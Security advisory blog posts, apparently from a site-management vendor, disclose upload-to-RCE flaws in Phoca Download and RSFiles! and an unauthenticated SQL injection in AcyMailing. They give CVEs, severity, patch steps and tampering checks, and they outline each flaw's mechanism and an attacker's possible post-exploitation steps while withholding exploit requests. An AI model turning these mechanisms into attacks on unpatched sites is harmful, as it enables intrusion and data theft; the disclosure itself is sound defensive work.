It is worth being precise about severity, because it is easy to lump every "file upload to RCE" bug into the same panic. The Joomla CNA scored this Critical, and rightly so on paper: it ends in code execution, which compromises the whole server. But it is not the internet-wide emergency the recent unauthenticated Joomla flaws were, because getting to that code execution is gated behind preconditions those flaws did not have.

Three things have to be true before this is exploitable, and none of them is the default:

The site must have the Phoca Download user-upload feature switched on. This means an administrator has added a User Upload menu item, set "Enable User Upload" to Yes, and is deliberately letting members submit files. Out of the box, all of this is off.
A Phoca Download category must grant upload rights to registered users.
The attacker must have a registered account on the site that those upload rights apply to.

Compare that with the RSFiles unauthenticated upload RCE, the Page Builder CK flaw, or the Balbooa Forms flaw, all of which needed no account at all and were reachable by anyone on the internet in a single request. Those scored the maximum 10.0. This one is scored 9.0 (Critical) on CVSS 4.0, a notch lower, because the login and non-default feature it needs are reflected in the vector (AT:P, PR:L). The practical difference is exposure: the unauthenticated flaws are reachable by anyone on the internet, while this one needs a registered account and a feature most sites never switch on. Where the preconditions are met, though, the outcome is identical: a member gets to run code on your server, so it still needs patching.

What the Phoca Download 6.1.3 Fix Does

Version 6.1.3 applies the file-type allow-list to member uploads, the same way it always applied it elsewhere. The member-upload path now runs the check that decides whether a given file type is permitted, so an upload of a type the administrator has not allowed, such as a .php script, is refused before anything is written to disk. The only way to skip the allow-list now is for an administrator to deliberately choose an "allow all file types" setting, which is an explicit choice to disable a safety net rather than a silent default.

The practical takeaway is simple: 6.1.3 closes the gap that let a member upload a file type the site was supposed to reject. Every Phoca Download install on 6.1.2 or earlier, with member uploads enabled, is on the wrong side of that gap until it is updated.

How Do I Get Phoca Download 6.1.3 Right Now?

The fix is Phoca Download 6.1.3. A brand-new release takes a short while to propagate everywhere, so at the time of writing you may see the earlier 6.1.2 in a couple of places while 6.1.3 catches up:

Phoca published 6.1.3 on its official GitHub releases on 10 July 2026. That is the authoritative source for the patched package right now.
The phoca.cz download portal and the in-Joomla update channel may still be offering 6.1.2 for a short period as the new release rolls out.

So the one thing to check is the version number. Whether you update from the Joomla updater, the phoca.cz portal, or GitHub, confirm you are actually installing 6.1.3 or later and not 6.1.2. If your usual update route still shows 6.1.2, either grab 6.1.3 from Phoca's GitHub releases or give it a little time and re-check. Phoca is expected to publish its own release notes alongside the update.

How mySites.guru Catches This Without a Signature

If you already run sites through mySites.guru, this is the part worth knowing. We did not need a Phoca-specific rule to catch this class of activity. mySites.guru watches for the behaviour, an unexpected executable file being written into a public folder, rather than a fingerprint of one particular extension's bug.

That generic detection is the same logic that catches RSFiles, Page Builder CK, iCagenda and SP Page Builder upload attempts. An executable file dropped through an upload looks the same regardless of which extension left the door open, so we can catch new bugs of this shape before anyone has written a rule naming them. This is the same lesson as the AJAX and frontend endpoints blind spot: an endpoint that accepts input from users has to treat every input as hostile.

If a hostile file does land, the suspect content tool and hacked-file detection and the backdoor scanning find it across every connected site, matching it against known malware hashes and thousands of code patterns. Anything flagged can be sent for AI-powered malware analysis that explains in plain English what the file does.

How Do I Find Every Phoca Download Site I Manage?

mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for Phoca Download once and get back every connected site running it, the version each one is on, and whether an update is available. It is the same workflow as finding every site running a vulnerable JCE: search once, see everything, no logging into forty admin panels one at a time.

View every Phoca Download install across your sites

Open your Extension Inventory

Search for Phoca Download across every connected Joomla site and filter for anything on 6.1.2 or earlier to find the installs that still need updating. Not a subscriber? Sign up free and connect your sites.

Once you know which sites need it, the mass updater handles the rollout. Tick the sites on an old version and push the update to all of them from one screen. You can also switch on automatic updates for any Joomla extension so future Phoca Download releases land without you lifting a finger.

How Do I Check a Phoca Download Site for Tampering?

Updating closes the gap. It does not tell you whether anyone walked through it first. Because the flaw allowed a member to drop a file and run it, a site that had member uploads enabled and was on 6.1.2 or earlier could already have been touched, so check before you assume it is clean.

Three checks, in order of value:

Look in the Phoca Download user-upload folder. Anything there that is not a genuine member upload, and above all anything ending in .php, is a red flag. On a single site you can run find over that folder for .php files via SSH.
Check for rogue administrator accounts. Code execution is a fast route to a hidden Super User. In your Joomla Users list, sort by registration date and treat any administrator account you do not recognise as suspect.
Hunt for modified and unfamiliar files. A foothold is a perfect moment to plant persistence elsewhere. Look for recently changed PHP files and for executable files sitting where uploads should not contain code.

mySites.guru runs all three of these across every connected site at once. The suspect content tool and hacked-file detection surface the stray PHP files, the extension and user inventory sorts every account across every site by registration date, and real-time alerting tells you the moment a new file appears or an unfamiliar admin logs in, rather than at the next manual check.

If any of that turns something up, the Joomla hacked recovery guide and the how to fix a hacked site walkthrough cover the cleanup, and fix.mysites.guru is the done-for-you option if you would rather hand it over.

File Uploads Are a Recurring Joomla Attack Surface

If you manage Joomla sites, treat every extension that accepts files as a piece of your attack surface that deserves regular attention. The exact weakness fixed here, an upload of a file with a dangerous type slipping past a check that should have stopped it, is CWE-434, and it shows up across the whole category rather than in one vendor's code.

The recent run of Joomla disclosures makes the point. RSFiles, Page Builder CK, iCagenda, Balbooa Forms and the SP Page Builder zero-day were all variations on the same theme: an endpoint that took a file without a strict check on what was actually written. Phoca Download's version of it needed a login and a non-default feature, which makes it less exposed, but the underlying lesson is identical. A single allow-list check on the file that is actually written, applied on every path that writes one, is what stops this.

Credit where it is due: Phoca did the thing that matters most, which is fix it the same day it was reported. Phoca Download has no CVE of its own on record before this, and its history of security reports is short, so this is not a pattern of problems. It is one bug, found by reading the code, and closed quickly.

Stay Ahead of the Next One

This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept files keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.

That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this Phoca Download flaw lands, you see exactly which sites run it in seconds instead of logging into forty admin panels to find out. And because the monitoring watches for the behaviour rather than a signature, it catches new upload attacks of this shape before anyone has written a rule naming them.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

Disclosure and Severity

This flaw is CWE-434, unrestricted upload of a file with a dangerous type. It is reachable over the network by a registered user, with no user interaction, on a site that has the non-default Phoca Download user-upload feature enabled, and it ends in remote code execution. The Joomla CNA scored it Critical (CVSS 4.0 9.0); the account and non-default-feature preconditions are what keep its real-world exposure below the unauthenticated 10.0 flaws.

9.0 CVSS 4.0

Critical Critical score, gated by a login and a non-default feature

The Joomla CNA scored it 9.0 (Critical) because it ends in remote code execution, which compromises the whole server. It stops just short of the 10.0 the recent RSFiles, Page Builder CK and Balbooa Forms flaws hit, because it needs a registered account and needs the user-upload feature switched on rather than being reachable by anyone with no login. Those preconditions are why far fewer sites are exposed in practice.

Registered account required Needs the user-upload feature enabled No user interaction Remote code execution

This flaw is tracked as CVE-2026-57828, assigned through the Joomla project's CNA and crediting Phil Taylor of mySites.guru as the reporter.

Field	Detail
CVE	CVE-2026-57828
Component	Phoca Download (`com_phocadownload`)
Vendor	Phoca (Jan Pavelka)
Type	Authenticated arbitrary file upload to remote code execution
CVSS 4.0	9.0 (Critical), `AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`
CWE	CWE-434 (Unrestricted Upload of File with Dangerous Type)
Preconditions	Registered account, user-upload feature enabled, category granting upload rights
Finder	Phil Taylor, mySites.guru
Affected versions	Up to and including 6.1.2
Fixed in	6.1.3, released 10 July 2026

The disclosure ran on a single-day cycle from audit to fix:

Date	Event
10 July 2026	During a source-code audit of commonly installed Joomla extensions, we find that Phoca Download's member-upload path skips the file-type allow-list, and reproduce the full chain on a local Joomla install: a registered user with the user-upload feature enabled uploads a file that should be blocked and executes it.
10 July 2026	We disclose the flaw privately to Phoca. Jan Pavelka responds and ships Phoca Download 6.1.3, enforcing the allow-list on member uploads. A CVE is requested through the Joomla project's CNA. No proof of concept is published.
11 July 2026	CVE-2026-57828 is assigned for the flaw through the Joomla project's CNA, crediting Phil Taylor of mySites.guru.

RSFiles! Fixes an Unauthenticated File Upload RCE

phil@mysites.guru (Phil Taylor) — Fri, 10 Jul 2026 00:00:00 GMT

RSFiles! is a widely used file-manager and download component for Joomla, installed as com_rsfiles and used to store, organise and serve downloads on business and membership sites. Up to and including version 1.17.11, its frontend upload had a serious flaw: the task that received an upload could be reached by anyone, with no login and no CSRF token, and the code that actually wrote the file to disk performed no check on its type. An attacker could upload a .php file into the public downloads folder and then run it, which is unauthenticated remote code execution, the worst outcome a web flaw can have.

RSJoomla fixed it in version 1.17.12, released on 10 July 2026. If you run Joomla sites with RSFiles! on them, update every one to 1.17.12 or later right now. This is not a wait-for-a-maintenance-window update. Any site still on 1.17.11 or earlier is reachable by anyone on the internet, so treat it as urgent and check it for tampering the moment it is patched. This post explains what the flaw was, how it surfaced, what the fix does, and how to check whether any of your sites were touched, without publishing anything an attacker could copy.

Unauthenticated and remotely exploitable, update immediately

This flaw needs no account on the site and ends in code running on your server. Update every RSFiles! install to 1.17.12 without waiting for a maintenance window, then check each patched site for stray files in the downloads folder and for unexpected admin accounts, because a site on an old version could already have been hit.

RSJoomla's Own Advisory

RSJoomla published a clear, unambiguous security advisory alongside the fix, which is exactly what you want a vendor to do. Their post, Unauthenticated File Upload fixed in RSFiles! version 1.17.12 - update NOW!, spells out the risk in plain terms rather than hiding it under a routine "Fixed" line.

From the RSJoomla advisory, posted by Octavian Cinciu, 10 July 2026

Unauthenticated File Upload fixed in RSFiles! version 1.17.12 - update NOW!

A critical flaw in the RSFiles! upload function allows unauthenticated file uploads without enforcing any file extension.

What this means is that any attacker, without having an account on your website, can upload a .php file in your /downloads directory and execute it.

The bottom line is: update immediately to RSFiles! 1.17.12 which fixes this along some other not-reported, but less critical security issues.

TL;DR

TL;DR: The frontend upload in RSFiles! (com_rsfiles) up to and including 1.17.11 (fixed in 1.17.12) could be reached by anyone with no authentication and no CSRF token, and the method that actually wrote the file performed no permission check and no file-type check. Because it trusted the caller's filename and the default downloads folder sits inside the web root with PHP execution on, a .php upload landed in a public directory and could be executed, which is unauthenticated remote code execution (CWE-434). We found it during a source-code audit, reproduced the full chain on a local Joomla install, and disclosed it privately to RSJoomla, who responded the same day, shipped 1.17.12, and published an advisory telling site owners to update now. It is now tracked as CVE-2026-57827, crediting Phil Taylor as the reporter. No proof of concept has been made public. Update every RSFiles! install to 1.17.12 or later immediately, then check exposed sites for stray files and unexpected admin accounts. If you manage more than a handful of Joomla sites, mySites.guru lists every RSFiles! install in your account in seconds and pushes the update.

How This One Was Found

This one did not start with an abuse report or a hacked site. It started with reading the code.

Part of what we do is audit the Joomla extensions that turn up most often across the sites we manage, on a local test install where we can prove a flaw safely and put the box back exactly as it was. RSFiles! came up in that rotation. Reading through the upload path, the security checks were in the wrong place: the method that decides whether you are allowed to upload, and what file types are permitted, is a separate pre-flight step from the method that actually writes the file, and only the first one holds the checks. The second one, the one that writes to disk, could be called directly.

We reproduced the whole chain end to end on a local Joomla install: an anonymous request, no login at any step, uploaded a .php file into the downloads folder, and requesting that file back ran it. From there it was a private email to RSJoomla. They replied the same day, shipped the fix in RSFiles! 1.17.12, and published an advisory the same day telling site owners to update immediately. The flaw is now tracked as CVE-2026-57827, crediting Phil Taylor of mySites.guru as the reporter.

This is what responsible disclosure looks like

Found in a code audit, confirmed live on a local install, reported privately, and fixed by the vendor the same day, with a clear public advisory and no technical detail released. No exploit has been published. The reason to write about it is to get sites updated, not to show anyone how it worked.

What Was Actually Wrong in RSFiles!?

The flaw was an unauthenticated file upload where the security checks and the file write were in two different places, and only one of them was guarded. RSFiles! splits its upload across two separate frontend tasks:

A pre-flight check that holds the permission gate (can this user upload at all) and the extension allow-list (the permitted file types, by default images, text and PDFs). This method decides yes or no. It writes nothing.
The write method that actually receives the file and saves it to disk. This method performed no permission check and no extension check. It read the target filename straight from the request and handed the upload to Joomla's bundled upload handler.

That bundled handler accepts any file type unless the calling code tells it otherwise, and RSFiles! never told it otherwise, so its default was to accept everything, including .php. Because the write task could be called directly, an attacker skipped the pre-flight check entirely and posted to the write task, which never consulted the allow-list or the permission gate. The frontend controller had no site-wide CSRF token and no access check, so the whole thing ran for an anonymous visitor.

The final piece is where the file lands. RSFiles!'s default downloads folder sits inside the web root, and the protective .htaccess that would stop PHP running there is an opt-in admin setting that is off by default. So an anonymous upload of a .php file went into a directory that serves and executes PHP, and requesting it in a browser ran it. No account on the site was needed at any point.

The important detail for site owners is the "no login" part. Plenty of upload bugs need an editor or admin account first, which limits the blast radius to people you already trust. This one did not. Anyone on the internet who could reach the site could reach the upload.

We are deliberately not publishing the exact request an attacker would send. The shape of the bug is enough to understand the risk and to check your own sites; the working details stay private.

Why an Upload Flaw Is as Bad as It Gets

An unauthenticated upload that lands executable code is the top of the severity scale, and it is worth being clear about why. Once an attacker can run PHP of their choosing on your server, they are no longer limited to your site. They can read your configuration.php and the database credentials in it, create a hidden Joomla Super User, plant a backdoor that survives an extension update, pivot to other sites in the same hosting account, or add the server to a spam or malware network. The uploaded file is rarely the goal in itself; it is the foothold.

This is the same lesson as the AJAX and frontend endpoints blind spot we keep coming back to. An endpoint that Joomla will run for anonymous visitors is exposed to the entire internet, so every input it touches has to be treated as hostile. A single allow-list check on the file that is actually written, "is this one of the types this folder is allowed to hold", would have stopped this outright.

What the RSFiles! 1.17.12 Fix Does

RSJoomla's fix closes the anonymous route into the upload. Version 1.17.12 requires a valid CSRF token on the upload task and runs the permission and allow-list checks before the file is written, so a visitor with no account is refused before anything reaches the disk. The changelog records the same release also restoring the missing CSRF token on uploads and blocking file-preview access when permissions are disabled. Their advisory notes it fixes some other, less critical issues that were not separately reported.

The practical takeaway is simple: 1.17.12 shuts the door that let an anonymous visitor upload and run code. Every RSFiles! install on 1.17.11 or earlier is on the wrong side of that door until it is updated. Because the flawed routine had been in the code for years, "my site is old and stable" is a reason to update sooner, not later.

How mySites.guru Caught This Without a Signature

If you already run sites through mySites.guru, this is the part worth knowing. We did not need an RSFiles-specific rule to catch this class of activity. mySites.guru watches for the behaviour, an anonymous visitor uploading an executable file, rather than a fingerprint of one particular extension's bug.

That generic detection is the same logic that catches Page Builder CK, iCagenda, Balbooa Forms, JCE and Phoca Download upload attempts. An attacker dropping a .php file through a public endpoint looks the same regardless of which extension left the door open, so we can catch new bugs of this shape before anyone has written a rule naming them. Signature-based tools only see an attack once someone has described it. Behaviour-based detection sees it the first time it happens.

If a hostile file does land, the suspect content and hacked-file detection and the backdoor scanning find it across every connected site, matching it against known malware hashes and thousands of code patterns. Anything flagged can be sent for AI-powered malware analysis that explains in plain English what the file does.

How Do I Find Every RSFiles! Site I Manage?

mySites.guru keeps a live inventory of every extension, template, and framework on every Joomla and WordPress site in your account. You search for RSFiles! once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.

View every RSFiles! install across your sites

Open your Extension Inventory

Search for RSFiles! across every connected Joomla site and filter for anything on 1.17.11 or earlier to find the installs that still need updating. Not a subscriber? Sign up free and connect your sites.

Bulk Updating RSFiles! Across Every Site

Once you know which sites need it, the mass updater handles the rollout. Tick the sites on an old version, push the update to all of them from one screen. The same routine covers any Joomla extension, plugin, or core update, so the workflow you set up once works for the next security release too. You can also switch on automatic updates for any Joomla extension so future RSFiles! releases land without you lifting a finger.

For agencies managing dozens of Joomla sites

The patch is the easy bit. Knowing which client sites run RSFiles!, and getting the update onto all of them, is the work. See how mySites.guru manages multiple Joomla sites from one screen.

If a particular site cannot be updated right away, unpublishing the RSFiles! frontend and any menu items that expose its upload takes the vulnerable handler out of reach while you schedule a maintenance window. A web application firewall such as RSFirewall! or Admin Tools can also blunt the attack, but neither is a substitute for the update.

How Do I Check an RSFiles! Site for Tampering?

Updating closes the door. It does not tell you whether anyone walked through it first. Because the flaw allowed an anonymous visitor to drop a file and run it, a site that was on 1.17.11 or earlier could already have been touched, and you should check before you assume it is clean.

Three checks, in order of value:

Look in the downloads folder. RSFiles! stores files under a downloads directory inside the web root. Anything there that is not a genuine download, and above all anything ending in .php, is a red flag. On a single site you can run find over that folder for .php files via SSH.
Check for rogue administrator accounts. Code execution is a fast route to a hidden Super User. In your Joomla Users list, sort by registration date and treat any administrator account you do not recognise as suspect.
Hunt for modified and unfamiliar files. A foothold is a perfect moment to plant persistence elsewhere. Look for recently changed PHP files and for executable files sitting where uploads should not contain code.

File Extensions Are a Recurring Joomla Attack Surface

If you manage Joomla sites, treat every extension that accepts or serves files as a piece of your attack surface that deserves regular attention. The exact flaw fixed here, an unauthenticated upload of a file with a dangerous type, is CWE-434, and it shows up across the whole category rather than in one vendor's code.

The recent run of Joomla disclosures makes the point. Page Builder CK, iCagenda, Balbooa Forms, and the SP Page Builder zero-day were all the same shape: a frontend endpoint that took a file from an anonymous visitor without a strict check on what was actually written. When a category of extension keeps producing the same kind of bug, the sensible response is not to distrust one vendor, it is to monitor the whole category and to patch fast when a fix lands.

It is worth keeping this in proportion for RSFiles! specifically. Its only previously recorded CVE is a directory traversal from 2007 (CVE-2007-4504) in the 1.0.2 release, nearly two decades ago. This upload flaw is a different and far more serious class of bug, and the response to it, a same-day fix and a clear advisory, is the more relevant signal about how the extension is maintained today.

Credit where it is due: RSJoomla did the two things that matter. They fixed it the same day it was reported, and they published a plain-spoken advisory that tells site owners to update now rather than burying it under a routine changelog line. That is not always how these go. We have written before about a vendor shipping a security fix under a bland "Security Update" changelog with nothing to tell owners how urgent it was. RSJoomla did the opposite, and it is the right call.

Stay Ahead of the Next One

That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this RSFiles! flaw lands, you see exactly which sites are exposed in seconds instead of logging into forty admin panels to find out. And because the monitoring watches for the behaviour rather than a signature, it catches new upload attacks of this shape before anyone has written a rule naming them.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

Disclosure and Severity

This flaw is CWE-434, unrestricted upload of a file with a dangerous type, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction, and it ends in full remote code execution. That profile is the worst a web flaw can have.

10.0 CVSS 4.0

Critical The maximum possible score

It is unauthenticated, remotely exploitable in a single request, needs no user interaction, and ends in full remote code execution, so every metric that makes a flaw dangerous is at its worst here. This is the same profile as the near-identical Page Builder CK and Balbooa Forms flaws, both of which scored 10.0 on CVSS 4.0.

No login needed Exploitable over the internet No user interaction Full remote code execution

This flaw is tracked as CVE-2026-57827, crediting Phil Taylor of mySites.guru as the reporter.

Field	Detail
CVE	CVE-2026-57827
Component	RSFiles! (`com_rsfiles`)
Vendor	RSJoomla
Type	Unauthenticated arbitrary file upload to remote code execution
CVSS 4.0	10.0 (critical), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`
CWE	CWE-434 (Unrestricted Upload of File with Dangerous Type)
Finder	Phil Taylor, mySites.guru
Affected versions	Up to and including 1.17.11
Fixed in	1.17.12, released 10 July 2026

The disclosure ran on a single-day cycle from audit to fix:

Date	Event
9 July 2026	During a source-code audit of commonly installed Joomla extensions, we find the unauthenticated upload in RSFiles! and reproduce the full chain end to end on a local Joomla install: an anonymous request uploads a `.php` file into the downloads folder and executes it.
10 July 2026	We disclose the flaw privately to RSJoomla. The vendor responds the same day, ships RSFiles! 1.17.12 closing the anonymous upload route, and publishes an advisory telling site owners to update now. A CVE is requested. No proof of concept is published.
11 July 2026	CVE-2026-57827 is assigned for the flaw, crediting Phil Taylor of mySites.guru.

Unauthenticated SQL Injection in AcyMailing found by mySites.guru

phil@mysites.guru (Phil Taylor) — Thu, 09 Jul 2026 00:00:00 GMT

AcyMailing is one of the most widely installed newsletter and email-marketing extensions for Joomla. During routine security research on the extensions our customers rely on, mySites.guru discovered an unauthenticated SQL injection vulnerability in AcyMailing, and reported it privately to the developers before disclosing anything publicly. The fix is now available in AcyMailing 10.11.1.

If you run AcyMailing on any Joomla site, update to 10.11.1 now. If you manage more than a handful of sites, read on for how to find every affected one at once. This is the second AcyMailing security issue we have covered this year, after the CVE-2026-3614 privilege-escalation flaw in April.

TL;DR

mySites.guru found an unauthenticated SQL injection in AcyMailing and reported it responsibly to the vendor
Every version from 6.0.0 up to and including 10.11.0 is affected; fixed in 10.11.1 (released 9 July 2026)
A public front-end endpoint placed request parameters straight into a database query, so an anonymous visitor could read data from any table - user accounts, password hashes, article content
Update to AcyMailing 10.11.1 immediately
Tracked as CVE-2026-56292, assigned by the Joomla CNA and crediting mySites.guru as the finder; we score it CVSS 4.0 8.7 (High)
mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand

mySites.guru discovered this security issue and reported it privately to the AcyMailing team in early July 2026. We withheld public details until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.

What is the vulnerability?

AcyMailing exposes a front-end endpoint that anonymous visitors can reach without logging in. That endpoint accepted request parameters and placed them into the column list of a database SELECT query without sanitising or quoting them, the textbook shape of a SQL injection. Joomla's standard text filter, which the extension applied to those parameters, strips HTML but does nothing to neutralise SQL syntax. It is the same public-endpoint-meets-unchecked-input pattern behind a long run of recent Joomla extension vulnerabilities.

So an attacker could supply a crafted parameter that turned the query into one reading from any table in the Joomla database, and get the result back in the response. No account needed, no CSRF token, nothing stolen first.

In practice that means an unauthenticated attacker could read:

Joomla user accounts, including usernames and password hashes
Article and content records
Extension configuration and other stored data

We are deliberately not publishing the exact request or a working proof-of-concept. The point of this post is to get people updated, not to hand attackers a recipe.

How serious is it?

Serious enough that we treated it as a priority disclosure. The two things that decide real-world impact are:

Whether the site has a web application firewall that filters SQL. Because the payload is literally SQL, a WAF often recognises and blocks it before it reaches AcyMailing. We tested this, and the results are worth their own section below. Sites running bare, with no such protection, are the exposed ones.
The site's own configuration. Some setups hand the data straight back; others limit what an anonymous request can see. Either way, the safe assumption is that any site on an affected version is at risk until it's updated.

A WAF is mitigation, not a fix. The only reliable remedy is to update AcyMailing.

Does a WAF protect you? We tested it

A web application firewall does not make your site secure. It is a layer, not a cure, and a vulnerable extension is still a vulnerable extension whether or not something in front of it happens to catch the attack today. But because this particular flaw is a SQL injection, and the payload is recognisably SQL, a decent WAF should spot it and refuse the request.

So we tested that claim rather than assert it. Against our proof-of-concept, with the extension left vulnerable, we put two of the most common Joomla firewalls in front of it:

Admin Tools Professional (Akeeba), in its default settings, blocked the attack.
RSFirewall! (RSJoomla), in its default settings, blocked the attack.

Both stopped the injection cold with no manual tuning. That is exactly what a WAF is for, and it is a strong argument for running one: a site with either of these installed and enabled was protected from this specific issue even before the patch existed.

This is the case for defence in depth. Layers matter: a WAF caught this one before it reached the vulnerable code, giving you breathing room to update. It does not mean you can skip updating. Treat the firewall as the seatbelt and the patch as not crashing the car - you want both.

Do not read this as "you are fine, your WAF has it covered". A WAF is only as good as its rules, it can be misconfigured or bypassed, and the next vulnerability in the next extension might not look like SQL at all. The firewall bought our tested sites time. Updating AcyMailing to 10.11.1 is what actually closes the door.

Which versions are affected?

Every AcyMailing release from 6.0.0 up to and including 10.11.0 contains the affected code path. The fix shipped in AcyMailing 10.11.1 on 9 July 2026. The issue is tracked as CVE-2026-56292, assigned by the Joomla CNA.

If you run any version of AcyMailing earlier than 10.11.1, assume your site is affected and update now. Do not wait to confirm exploitation - by the time you can confirm it, the data is already gone.

WordPress is affected too, not just Joomla

This is the part people will miss. AcyMailing for WordPress is affected by exactly the same vulnerability. AcyMailing is not a Joomla-only extension. It ships as a plugin for WordPress as well, built from the same codebase, and both editions carry the same public front-end endpoint and the same unsanitised query. The fix, version 10.11.1, is the fix for both.

You do not have to take our word for the cross-platform scope, because the vendor's own changelog says so. Look again at the screenshot below: the entry is flagged with both the Joomla and the WordPress logos. Acyba shipped one patch, on one day, for both CMS platforms, because it is one bug in one shared engine.

If you run the AcyMailing plugin on WordPress, everything in this post applies to you. The affected range is the same (6.0.0 up to and including 10.11.0), the fix is the same (10.11.1), and an anonymous visitor could read your WordPress database, including your wp_users table and the password hashes in it. Update the AcyMailing plugin now.

The version numbering is shared across both editions, which makes this easy to reason about. Whether the plugin sits in a Joomla site's Components menu or a WordPress site's Plugins list, the number to get to is 10.11.1. Anything from 6.0.0 to 10.11.0 is vulnerable on either platform.

How to update AcyMailing on WordPress

Back up first. As on Joomla, take a database and files backup before you touch the plugin. mySites.guru can snapshot every connected WordPress site with one click.
Update the plugin. In the WordPress admin, go to Plugins, then Updates, and update AcyMailing to 10.11.1. If it is not offered yet, download the latest build from your AcyMailing account and upload it under Plugins, then Add New, then Upload Plugin. If you manage many WordPress sites, do it in bulk from the mySites.guru dashboard rather than logging into each wp-admin.
Confirm the version shows 10.11.1 or later, and clear any page or object cache.

A note on how WordPress sites get flagged

For Joomla, we maintain our own extension vulnerability database and we have already added AcyMailing to it, so every connected Joomla site below 10.11.1 is flagged automatically within the hour. For WordPress, we have added AcyMailing to our WordPress plugin vulnerability tracking as well, so your connected WordPress sites below 10.11.1 are flagged too. Either way, the extension search below works for WordPress installs right now, so you can find every affected site today.

The changelog barely mentions it

Here is the entire public description of this fix, as it appears on the official AcyMailing changelog for 10.11.1:

One line. It does not say the injection is unauthenticated, that an anonymous visitor with no account could reach it, or that it exposes user records and password hashes. If you triage updates by reading changelogs, this reads like a footnote, not the emergency it is.

To show what "a vulnerability allowing SQL injection" actually means in practice, here is the output of our proof-of-concept against a local test install, with the extension left vulnerable. In a single anonymous request, with no login, it pulled back the Super Admin's username and full bcrypt password hash, a row from the content table, and the database name and version:

That is a local test site with throwaway data, not a customer's, and we are not releasing the request that produced it. But it is the concrete version of the changelog's one euphemistic line: an anonymous visitor reading the credentials table out of the database.

This is the same trap we keep flagging. The Balbooa Forms remote code execution fix landed under a plain "Fixed" heading, and JoomShaper shipped a critical Helix3 patch under a changelog that just read "Security Update". The words a vendor puts in a changelog are a poor guide to how urgently you need to update. The version number is what matters: anything below 10.11.1 needs updating now.

How do you update AcyMailing safely?

Take a backup first. Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, trigger a snapshot or a full backup so you have a clean starting point to compare from.
Update through Joomla's Extensions manager, or in bulk from mySites.guru. On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull AcyMailing 10.11.1. If it does not appear, use Find Updates, or download the latest package from the AcyMailing account area and install it over the top. If you manage more than one site, do not do this one panel at a time: use the mySites.guru mass update feature to upgrade AcyMailing across every affected site from a single dashboard. We built the update runner to push Joomla extension and WordPress plugin updates to thousands of sites at once, and you can even enable auto-updates for any Joomla extension so a fix like this lands without you lifting a finger.
Confirm the version. After updating, open Components, then AcyMailing, and check the version shown is 10.11.1 or later. In mySites.guru, the extension search confirms in one view that no connected site is still below 10.11.1.
Clear caches. Clear Joomla's cache and any CDN or page cache so stale front-end assets do not linger.

Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive subscriber data and were on a vulnerable version for a long time, treat credentials and any exposed data as potentially known.

How mySites.guru handles this across many sites

Updating one site is easy. The hard part, if you manage dozens or hundreds of Joomla sites, is knowing which ones run AcyMailing and which of those are still on a vulnerable version. Checking each admin panel by hand does not scale.

mySites.guru already tracks the installed extensions and versions on every connected site. When a security issue like this lands, we add the affected version range to our vulnerability database, and every connected site running a vulnerable version of AcyMailing is flagged automatically. You see, in one place, exactly which sites need updating, and you can push the update from the dashboard rather than logging into each one.

If you are already a mySites.guru subscriber, the AcyMailing extension search page lists every installed version across all your connected Joomla sites, grouped by version number. Filter for anything below 10.11.1 to see which sites still need the update.

View all your AcyMailing installations

Open AcyMailing Extension Search

Lists every installed version across all your connected Joomla sites. Filter for anything below 10.11.1 to find the installations that need updating.

This is what we built the platform for. You should not have to learn about a Joomla security issue from the news and then go audit a portfolio of client sites by hand. The dashboard tells you what is exposed and lets you fix it from one place.

Learn more about automatic updates for any Joomla extension and how the suspect content tool helps after an incident.

Why newsletter extensions are a quiet attack surface

This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Newsletter and form extensions make attractive targets for the same reason they are useful: they expose front-end endpoints that anonymous visitors are meant to reach. Subscribe forms, unsubscribe links, click tracking, archive pages - none of that can require a login.

Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across form builders like Balbooa Forms, page builders like PageBuilder CK, template frameworks like Novarain, and editors like JCE: a public task that reaches a dangerous operation with too little checking in between.

The lesson for site owners is not "avoid newsletter extensions". They are fine, and the reputable ones are well maintained. The lesson is that keeping them updated is security-critical, not just feature maintenance. A newsletter extension two versions behind is not a cosmetic problem.

What to do right now

Update every Joomla and WordPress site running AcyMailing to 10.11.1 or later, one at a time or in bulk from one dashboard
If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand
Take a backup before updating, and clear caches afterwards
If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, and if you suspect a breach, find any hacked files and backdoors and follow our guide to fixing a hacked Joomla or WordPress site

Disclosure timeline and CVE

This flaw is tracked as CVE-2026-56292, assigned by the Joomla CNA, the body that assigns identifiers for Joomla and its extensions, and crediting Phil Taylor of mySites.guru as the reporter.

